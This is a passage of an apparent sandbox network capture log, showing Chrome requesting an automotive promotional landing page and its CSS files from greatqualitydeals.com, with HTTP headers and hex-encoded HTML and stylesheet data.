74 69 6d 65 4c 65 66 74 49 6e 53 65 63 6f 6e 64 73 20 2f 20 36 30 29 3b 0d 0a 20 20 20 20 20 Data Ascii: if (timeLeft > 0) { const timeLeftInSeconds = Math.floor(timeLeft / 1000); const minutesLeft = Math.floor(timeLeftInSeconds / 60);
2024-10-03 16:19:48 UTC	1369	IN	Data Raw: 73 3d 22 70 72 6f 64 75 63 74 43 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 64 67 65 5f 62 6c 75 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 6f 75 74 73 74 61 6e 64 69 6e 67 70 72 6f 6d 6f 74 69 6f 6e 73 2f 61 75 74 6f 6d 6f 74 69 76 65 2f 76 31 2f 43 45 6d 4b 2f 61 70 70 2f 64 65 73 6b 74 6f 70 2f 69 6d 61 67 65 73 2f 70 72 69 63 65 2d 62 61 64 67 65 2e 70 6e 67 22 20 63 6c 61 73 73 3d 22 70 72 6f 64 75 63 74 20 69 6d 67 2d 66 6c 75 69 64 20 70 72 69 63 65 2d 75 73 2d 31 22 20 77 69 64 74 68 3d 22 32 30 30 22 20 68 65 69 67 68 Data Ascii: s="productContainer"> ...<div class="badge_blue"> <img src="/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/price-badge.png" class="product img-fluid price-us-1" width="200" heigh
2024-10-03 16:19:48 UTC	1369	IN	Data Raw: 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 31 32 20 63 6f 6c 2d 73 6d 2d 31 30 20 6f 66 66 73 65 74 2d 73 6d 2d 31 20 63 6f 6c 2d 31 30 20 6f 66 66 73 65 74 2d 78 73 2d 31 20 79 65 6c 6c 6f 77 54 65 78 74 20 72 65 76 69 65 77 53 74 61 72 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 73 74 61 72 22 3e 3c 2f 69 3e 3c 69 Data Ascii: </div> <div class="col-md-12 col-sm-10 offset-sm-1 col-10 offset-xs-1 yellowText reviewStars"> <i class="fa fa-star"></i><i
2024-10-03 16:19:48 UTC	1369	IN	Data Raw: 33 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 31 32 20 63 6f 6c 2d 31 32 20 43 68 6f 6f 73 65 53 69 7a 65 20 64 2d 6e 6f 6e 65 20 64 2d 6d 64 2d 62 6c 6f 63 6b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 68 69 64 64 65 6e 2d 78 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 Data Ascii: 3> </div> <div class="col-md-12 col-12 ChooseSize d-none d-md-block"> <div class="row hidden-xs"> <div class="c
2024-10-03 16:19:48 UTC	1369	IN	Data Raw: 54 59 20 4a 55 4d 50 45 52 20 43 41 42 4c 45 53 3a 20 3c 2f 62 3e 20 45 73 73 65 6e 74 69 61 6c 20 66 6f 72 20 6a 75 6d 70 2d 73 74 61 72 74 69 6e 67 20 79 6f 75 72 20 63 61 72 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Data Ascii: TY JUMPER CABLES: </b> Essential for jump-starting your car</li> </ul> </div> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49818	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:49 UTC	775	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/css/app.css HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:49 UTC	739	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:49 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60154 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PlzlMSmDLAylhXgPfysQYd6NN%2BEUTGJmMzzishgQXHKHxsjLJK67OgyTX9ZQEQmRt9axAqMcdnbu%2BTORxRk3zgSv5dDj%2FJgwbxQJP3TdoDHA7qRIYbqNj9EymGxgnwNx6L0H1T37fb6Juw6V"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce4188ddadde98-EWR
2024-10-03 16:19:49 UTC	630	IN	Data Raw: 32 39 35 62 0d 0a 2e 63 6c 65 61 72 2c 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 09 63 6c 65 61 72 3a 20 62 6f 74 68 0a 7d 0a 61 20 69 6d 67 2c 0a 69 6d 67 20 7b 0a 09 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 30 25 0a 7d 0a 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 0a 7d 0a 6c 69 2c 0a 75 6c 20 7b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 20 6e 6f 6e 65 0a 7d 0a 2e 6c 65 66 74 20 7b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 0a 7d 0a 2e 72 69 67 68 74 20 7b 0a 09 66 6c 6f 61 74 3a 20 72 69 67 Data Ascii: 295b.clear,.clearfix:after {clear: both}a img,img {height: auto;max-width: 100%}body {margin: 0;padding: 0;font-family: Arial, sans-serif;font-size: 15px}li,ul {list-style-type: none}.left {float: left}.right {float: rig
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 0a 2e 74 65 78 74 2d 63 65 6e 74 65 72 20 7b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 0a 7d 0a 2e 74 65 78 74 2d 6a 75 73 74 69 66 79 20 7b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6a 75 73 74 69 66 79 0a 7d 0a 2e 63 6f 6e 66 69 67 2d 65 72 72 6f 72 73 20 68 33 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 30 3b 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 0a 7d 0a 2e 63 6f 6e 66 69 67 2d 65 72 72 6f 72 73 20 75 6c 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 0a 7d 0a 2e 63 6f 6e 66 69 67 2d 65 72 72 6f 72 73 20 6c 69 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 43 43 3b 0a 09 62 6f 72 Data Ascii: .text-center {text-align: center}.text-justify {text-align: justify}.config-errors h3 {padding: 10px 0;margin: 5px}.config-errors ul {padding: 0;margin: 0}.config-errors li {padding: 10px;margin: 5px;background-color: #FCC;bor
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 74 69 63 6b 2d 69 6e 70 75 74 2e 70 6e 67 29 20 39 39 2e 35 25 20 35 30 25 20 6e 6f 2d 72 65 70 65 61 74 20 23 66 66 66 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 67 72 65 65 6e 0a 7d 0a 69 6e 70 75 74 2e 6c 6f 61 64 69 6e 67 2c 0a 73 65 6c 65 63 74 2e 6c 6f 61 64 69 6e 67 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 61 6a 61 78 2d 6c 6f 61 64 65 72 2e 67 69 66 29 20 39 39 2e 35 25 20 35 30 25 20 6e 6f 2d 72 65 70 65 61 74 20 23 66 66 66 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 35 31 63 62 65 65 0a 7d 0a 2e 61 70 70 2d 62 65 6e 63 68 6d 61 72 6b 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 Data Ascii: background: url(../images/tick-input.png) 99.5% 50% no-repeat #fff;border: 1px solid green}input.loading,select.loading {background: url(../images/ajax-loader.gif) 99.5% 50% no-repeat #fff;border: 1px solid #51cbee}.app-benchmark {position:
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 63 6c 6f 73 65 2c 0a 23 65 72 72 6f 72 5f 68 61 6e 64 6c 65 72 5f 6f 76 65 72 6c 61 79 5f 63 6c 6f 73 65 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 72 69 67 68 74 3a 20 2d 31 30 70 78 3b 0a 09 74 6f 70 3a 20 2d 31 30 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 46 46 46 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 46 46 46 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 09 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f Data Ascii: close,#error_handler_overlay_close {position: absolute;right: -10px;top: -10px;color: #FFF;background-color: #333;border: 2px solid #FFF;border-radius: 50%;width: 30px;height: 30px;text-align: center;cursor: pointer;text-decoratio
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 68 65 69 67 68 74 3a 20 61 75 74 6f 0a 7d 0a 2e 65 78 69 74 70 6f 70 2d 64 69 73 63 6f 75 6e 74 62 61 72 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 65 64 3b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 34 70 78 20 64 61 73 68 65 64 20 23 66 66 66 3b 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 3b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 68 65 69 67 Data Ascii: position: relative;text-align: center;max-width: 100%;height: auto}.exitpop-discountbar {background-color: red;border-bottom: 4px dashed #fff;color: #fff;font-family: Arial, Helvetica, sans-serif;font-size: 15px;font-weight: 700;heig
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 74 68 3a 20 32 37 35 70 78 0a 7d 0a 2e 64 65 66 75 6c 74 20 2e 62 75 74 74 6f 6e 2c 0a 2e 64 65 66 75 6c 74 20 62 75 74 74 6f 6e 2c 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2c 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 20 7b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 34 35 30 70 78 0a 7d 0a 2e 61 6c 6c 2d 63 61 72 64 2d 74 79 70 65 73 20 6c 69 20 7b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 32 30 70 78 0a 7d 0a 23 6c 6f 61 64 69 6e 67 2d 69 6e 64 69 63 61 74 6f 72 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 35 29 3b 0a 09 62 6f 74 74 6f 6d 3a 20 30 3b 0a 09 62 6f 78 2d Data Ascii: th: 275px}.defult .button,.defult button,.defult input[type=button],.defult input[type=submit] {max-width: 450px}.all-card-types li {float: left;margin-right: 20px}#loading-indicator {background-color: rgba(0, 0, 0, .5);bottom: 0;box-
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 0a 0a 2e 6d 6f 64 61 6c 2d 77 72 61 70 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 09 74 6f 70 3a 20 30 3b 0a 09 62 6f 74 74 6f 6d 3a 20 30 3b 0a 09 6c 65 66 74 3a 20 30 3b 0a 09 72 69 67 68 74 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 35 29 3b 0a 09 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 61 75 74 6f 3b 0a 7d 0a 2e 6d 6f 64 61 6c 2d 64 69 6c 6f 67 2d 70 61 72 74 7b 0a 09 77 69 64 74 68 3a 20 35 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 35 30 70 78 20 61 75 74 6f 20 35 30 70 78 20 61 75 74 6f 3b 0a 7d 0a 2e 74 72 61 6e 73 61 63 Data Ascii: .modal-wrap{position: fixed;top: 0;bottom: 0;left: 0;right: 0;background-color: rgba(0, 0, 0, 0.5);overflow-y: auto;}.modal-dilog-part{width: 500px;background-color: #fff;border-radius: 4px;margin: 50px auto 50px auto;}.transac
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 70 78 3b 0a 7d 0a 2e 66 6c 65 78 2d 72 6f 77 7b 0a 09 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 2d 31 30 70 78 3b 0a 7d 0a 2e 68 61 6c 66 2d 63 6f 6c 7b 0a 09 77 69 64 74 68 3a 20 35 30 25 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 7d 0a 2e 64 2d 66 6c 65 78 7b 0a 09 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 09 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 09 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 0a 7d 0a 2e 73 75 62 6d 69 74 2d 62 74 6e 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 77 69 64 74 68 3a 20 61 75 74 6f 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 35 43 37 39 46 Data Ascii: px;}.flex-row{display: flex;margin: 0 -10px;}.half-col{width: 50%;padding: 0 10px;}.d-flex{display: flex;align-items: center;justify-content: space-between;}.submit-btn{display: inline-block;width: auto;background-color: #5C79F
2024-10-03 16:19:49 UTC	382	IN	Data Raw: 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 09 68 65 69 67 68 74 3a 20 30 3b 0a 09 77 69 64 74 68 3a 20 30 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 74 6f 6f 6c 74 69 70 3a 61 66 74 65 72 20 7b 0a 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 29 3b 0a 09 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 09 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 36 70 78 3b 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 36 70 78 3b 0a 7d 0a 2e 74 6f 6f 6c 74 69 70 3a 62 65 66 6f 72 65 20 7b 0a 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 32 31 2c 20 32 32 31 2c 20 32 Data Ascii: ontent: " ";height: 0;width: 0;position: absolute;pointer-events: none;}.tooltip:after {border-color: rgba(255, 255, 255, 0);border-right-color: #fff;border-width: 6px;margin-top: -6px;}.tooltip:before {border-color: rgba(221, 221, 2
2024-10-03 16:19:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49817	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:49 UTC	786	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/ui-fixing.css HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:49 UTC	747	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:49 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60154 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3J%2BR115GjTzaWa%2FvVaa3mMXr69%2FBOZOeCahhRmoeJOz4MFzRwEcaIglNU0PX%2BWwXl3DXGQ3nrl4OHnuqvqby7h%2Fu3122%2Bm2HRIe1Fz4cqNrZLc8ob26Xrlryu6BD3x%2FZJxdVmUeduFwCuyVN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce4188c800c439-EWR
2024-10-03 16:19:49 UTC	622	IN	Data Raw: 64 32 32 0d 0a 2f 2a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 6c 61 6e 64 73 63 61 70 65 20 6d 6f 64 61 6c 20 63 73 73 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 2a 2f 0d 0a 23 61 70 70 5f 63 6f 6d 6d 6f 6e 5f 6d 6f 64 61 6c 2c 20 23 65 72 72 6f 72 5f 68 61 6e 64 6c 65 72 5f 6f 76 65 72 6c 61 79 20 7b 0d 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 2d 6d 6f 7a 2d 73 63 72 6f 6c 6c 62 61 72 73 2d 6e 6f 6e 65 3b 0d 0a 09 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0d 0a 09 73 63 72 6f 6c 6c 62 61 72 2d 77 69 64 74 68 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 23 61 70 70 5f 63 6f 6d 6d 6f 6e 5f 6d 6f 64 61 6c 3a 3a 2d 77 65 62 6b 69 74 2d 73 63 72 6f 6c 6c 62 61 72 2c 20 23 65 72 72 6f 72 5f 68 61 6e 64 6c 65 72 5f 6f 76 65 72 6c 61 Data Ascii: d22/==============landscape modal css=================/#app_common_modal, #error_handler_overlay {overflow: -moz-scrollbars-none;-ms-overflow-style: none;scrollbar-width: none;}#app_common_modal::-webkit-scrollbar, #error_handler_overla
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 29 3b 0d 0a 7d 0d 0a 23 65 72 72 6f 72 5f 68 61 6e 64 6c 65 72 5f 6f 76 65 72 6c 61 79 20 2e 65 72 72 6f 72 5f 68 61 6e 64 6c 65 72 5f 62 6f 64 79 20 75 6c 20 7b 0d 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 7d 0d 0a 2e 65 72 72 6f 72 5f 68 61 6e 64 6c 65 72 5f 62 6f 64 79 20 75 6c 20 6c 69 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 0d 0a 0d 0a 23 61 70 70 5f 63 6f 6d 6d 6f 6e 5f 6d 6f 64 61 6c 20 2e 61 70 70 5f 6d 6f 64 61 6c 5f 62 6f 64 79 20 7b 0d 0a 09 09 6d 61 72 67 69 6e 3a 20 36 30 70 78 20 61 75 74 6f 3b 0d 0a 09 7d 0d 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 20 61 6e 64 20 28 6f 72 69 Data Ascii: );}#error_handler_overlay .error_handler_body ul {margin: 0;padding: 0;}.error_handler_body ul li{text-align: left !important;}#app_common_modal .app_modal_body {margin: 60px auto;}@media screen and (max-width:1200px) and (ori
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 20 20 0d 0a 20 20 2f 2a 20 2d 6d 6f 7a 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 20 2a 2f 0d 0a 7d 0d 0a 2f 2a 20 2e 73 65 6c 65 63 74 2d 66 69 65 6c 64 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 73 65 6c 65 63 74 2d 61 72 72 6f 77 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 31 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 31 70 78 Data Ascii: { position: relative; /* -moz-appearance: none; -webkit-appearance: none; appearance: none; /}/ .select-field::after { content: ""; background: url(../images/select-arrow.png) no-repeat; width: 11px; height: 11px
2024-10-03 16:19:49 UTC	9	IN	Data Raw: 72 74 61 6e 74 3b 7d 0d 0a Data Ascii: rtant;}
2024-10-03 16:19:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49819	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:49 UTC	780	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/all.css HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
